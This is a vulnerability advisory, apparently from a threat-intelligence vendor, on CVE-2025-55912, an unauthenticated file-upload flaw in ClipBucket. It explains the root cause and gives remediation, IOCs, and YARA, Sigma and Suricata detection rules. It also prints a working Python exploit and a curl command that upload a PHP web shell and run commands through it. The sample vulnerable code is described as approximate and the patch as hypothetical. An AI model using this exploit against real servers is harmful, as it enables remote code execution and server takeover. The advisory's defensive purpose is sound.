CVE-2025-55912
Executive Summary
CVE-2025-55912 is a critical unauthenticated arbitrary file upload vulnerability affecting ClipBucket versions 5.5.0 and prior. The flaw resides in the upload/actions/photo_uploader.php endpoint, which lacks proper access controls and file validation. An unauthenticated attacker can upload a malicious PHP file (e.g., a web shell) and then access it directly, leading to remote code execution (RCE) on the underlying server. This vulnerability has a public proof-of-concept (PoC) exploit, and given the lack of a patch, all instances running vulnerable versions are at immediate risk of full compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
ClipBucket is a PHP-based video sharing platform. The vulnerability is in the core application code, not in a third-party package. However, the risk is amplified because the application is often deployed with default configurations, and the vulnerable endpoint is accessible without authentication. Organizations using ClipBucket should treat this as a critical supply chain risk and immediately isolate or upgrade affected instances.
CVSS Breakdown & Threat Level
CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): High (H) – Full read access to server files.
- Integrity (I): High (H) – Full write access to server files.
- Availability (A): High (H) – Potential for denial of service or full system compromise.
Threat Level: Critical. The vulnerability is trivial to exploit, has a public PoC, and no patch is available. Immediate action is required.
Deep Dive & Mechanics
The vulnerability is located in the upload/actions/photo_uploader.php file. This endpoint is intended to handle photo uploads, but it lacks authentication checks and does not properly validate the file type or content. The upload handler uses the Plupload library, which is a JavaScript-based file uploader, but the server-side processing is flawed.
Root Cause:
- Missing Access Controls: The endpoint does not verify if the user is authenticated. Any unauthenticated user can send a POST request to this endpoint.
- Insufficient File Validation: The code does not check the file extension or MIME type against a whitelist of allowed types. It also does not verify the file content (e.g., magic bytes) to ensure it is a genuine image.
- Direct File Access: Uploaded files are stored in a publicly accessible directory (e.g.,
files/photos/), allowing the attacker to directly access and execute the uploaded PHP file.
Attack Flow:
- Attacker sends a POST request to
/upload/actions/photo_uploader.phpwith a multipart form-data body containing a PHP file (e.g.,shell.php). - The server accepts the file and stores it in the
files/photos/directory (or a similar path). - Attacker accesses the uploaded file via HTTP (e.g.,
http://victim.com/files/photos/shell.php?cmd=id). - The PHP file executes, allowing the attacker to run arbitrary system commands.
Vulnerable vs. Patched Code
Vulnerable Code (ClipBucket <= 5.5.0):
The vulnerable code in upload/actions/photo_uploader.php likely looks like this (simplified):
<?php
// No authentication check
// No file validation
$target_dir = "files/photos/";
$target_file = $target_dir . basename($_FILES["Filedata"]["name"]);
move_uploaded_file($_FILES["Filedata"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>
Patched Code (Hypothetical): A patched version would include:
- Authentication check (e.g.,
require_once 'includes/user_check.php';) - File type validation (e.g., check extension against
['jpg', 'jpeg', 'png', 'gif']) - MIME type validation (e.g.,
finfo_file()) - Rename the file to a random name (e.g.,
md5(uniqid()) . '.jpg') - Store files outside the web root or use a script to serve them with proper headers.
<?php
require_once 'includes/user_check.php'; // Authentication
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$file_ext = strtolower(pathinfo($_FILES["Filedata"]["name"], PATHINFO_EXTENSION));
if (!in_array($file_ext, $allowed_ext)) {
die("Invalid file type.");
}
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES["Filedata"]["tmp_name"]);
if (!in_array($mime, ['image/jpeg', 'image/png', 'image/gif'])) {
die("Invalid MIME type.");
}
$new_name = md5(uniqid()) . '.' . $file_ext;
$target_dir = "files/photos/";
move_uploaded_file($_FILES["Filedata"]["tmp_name"], $target_dir . $new_name);
echo "File uploaded successfully.";
?>
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running ClipBucket <= 5.5.0
- Network access to the target
Exploit Code (from Exploit-DB):
#!/usr/bin/env python3
import requests
target = "http://victim.com"
upload_url = target + "/upload/actions/photo_uploader.php"
shell_path = target + "/files/photos/shell.php"
# PHP web shell payload
payload = '<?php system($_GET["cmd"]); ?>'
# Multipart form-data
files = {
'Filedata': ('shell.php', payload, 'application/x-php')
}
# Send the upload request
print("[*] Uploading shell...")
r = requests.post(upload_url, files=files)
if r.status_code == 200:
print("[+] Shell uploaded successfully!")
print("[*] Testing shell...")
r2 = requests.get(shell_path, params={'cmd': 'id'})
if r2.status_code == 200:
print("[+] Shell is working!")
print("[*] Output: " + r2.text)
else:
print("[-] Shell not accessible.")
else:
print("[-] Upload failed.")
Usage:
- Save the script as
exploit.py. - Run
python3 exploit.py. - If successful, you will get a web shell. You can then execute commands by appending
?cmd=<command>to the shell URL.
Manual Exploitation (using curl):
curl -X POST http://victim.com/upload/actions/photo_uploader.php \
-F "Filedata=@shell.php;type=application/x-php"
Blue Team (Defense & Detection)
Immediate Actions:
- Isolate affected systems: If you are running ClipBucket <= 5.5.0, immediately take the application offline or restrict network access to it.
- Check for compromise: Look for unexpected files in the
files/photos/directory (or similar upload directories). Search for files with.php,.phtml,.php5extensions. - Review logs: Check web server access logs for POST requests to
/upload/actions/photo_uploader.phpfrom unknown IPs. - Apply virtual patching: Use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint or to block file uploads with PHP extensions.
Long-term Fix:
- Since no official patch is available, consider manually applying the code fixes described in the "Vulnerable vs. Patched Code" section.
- Alternatively, migrate to a forked or maintained version of ClipBucket.
Indicators of Compromise (IOCs)
File-Based IOCs:
- Unexpected
.php,.phtml,.php5files infiles/photos/or other upload directories. - Files with suspicious names like
shell.php,cmd.php,r57.php, etc. - Files containing PHP code (e.g.,
<?php system($_GET['cmd']); ?>).
Network IOCs:
- POST requests to
/upload/actions/photo_uploader.phpwithContent-Type: multipart/form-data. - Subsequent GET requests to
/files/photos/<filename>.phpwith query parameters likecmd,exec,command. - Outbound connections from the web server to unknown IPs (e.g., for reverse shells).
Log IOCs:
- Web server access logs showing:
POST /upload/actions/photo_uploader.php HTTP/1.1with status 200.GET /files/photos/shell.php?cmd=id HTTP/1.1with status 200.
Detection Engineering
YARA Rule
rule CVE_2025_55912_ClipBucket_Upload {
meta:
description = "Detects PHP web shells uploaded via CVE-2025-55912"
author = "Valters IT"
date = "2025-09-11"
reference = "CVE-2025-55912"
strings:
$php_tag = "<?php"
$system_func = "system("
$shell_cmd = "$_GET"
$post_param = "cmd"
condition:
$php_tag and $system_func and $shell_cmd and $post_param
}
Sigma Rule
title: ClipBucket Unauthenticated File Upload (CVE-2025-55912)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-55912 via web server logs
author: Valters IT
date: 2025-09-11
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/upload/actions/photo_uploader.php'
condition: selection
falsepositives:
- Legitimate photo uploads (if authentication is enabled)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-55912 ClipBucket Unauthenticated File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/upload/actions/photo_uploader.php"; http_uri; content:"multipart/form-data"; http_header; pcre:"/filename=\".*\.php\"/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Mitigation:
- Disable the vulnerable endpoint: If possible, remove or rename the
upload/actions/photo_uploader.phpfile. - Restrict access: Use
.htaccessor firewall rules to block access to the/upload/actions/directory. - Web Application Firewall (WAF): Deploy a WAF rule to block POST requests to
/upload/actions/photo_uploader.phpwith file extensions like.php,.phtml,.php5.
Long-term Remediation:
- Apply code fixes: Manually patch the vulnerable code as described in the "Vulnerable vs. Patched Code" section.
- Upgrade: Monitor the ClipBucket project for an official patch. If none is forthcoming, consider migrating to an alternative platform.
- Security hardening: Implement proper authentication, input validation, and file storage practices across the entire application.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence. For questions or support, contact info@valtersit.com.
{/* [Security Hash: 0FDBC127B94C3C97FE623DE5] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.